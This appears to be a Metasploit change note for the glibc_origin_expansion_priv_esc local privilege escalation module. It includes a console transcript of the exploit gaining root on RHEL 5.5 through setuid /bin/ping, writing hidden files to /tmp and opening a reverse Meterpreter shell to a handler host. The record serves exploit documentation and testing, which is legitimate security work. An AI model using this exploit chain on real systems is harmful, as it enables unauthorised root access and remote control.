Fix file description and update tested versions

[bcoles]

Fix ridiculous file descriptor; and update tested versions to reflect RHEL 5.5.

RHEL 5.5

msf5 exploit(linux/local/glibc_origin_expansion_priv_esc) > run

[*] Started reverse TCP handler on 172.16.191.165:4444 
[+] GNU C Library version 2.5 appears vulnerable
[+] /bin/ping is setuid
[+] /bin/ping is readable
[+] The target appears to be vulnerable
[+] '/bin/ping' and '/tmp' are located on the same partition
[*] System architecture is x86_64
[*] Using target: Linux x64
[*] Writing '/tmp/.knxS5mvZ' (1921 bytes) ...
[*] Writing '/tmp/.nkvuOByv' (307 bytes) ...
[*] Writing '/tmp/.Jk9D00' (207 bytes) ...
[*] Launching exploit...
[*] Transmitting intermediate stager...(106 bytes)
[*] Sending stage (985320 bytes) to 172.16.191.202
[*] Meterpreter session 2 opened (172.16.191.165:4444 -> 172.16.191.202:33229) at 2019-04-18 11:12:29 -0400

meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > cat /etc/redhat-release
Red Hat Enterprise Linux Server release 5.5 (Tikanga)
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 172.16.191.202 - Meterpreter session 2 closed.  Reason: User exit

[busterb]

Release Notes

The glibc_origin_expansion_priv_esc local privilege escalation module has improved documentation and is verified to work on a wider range of targets.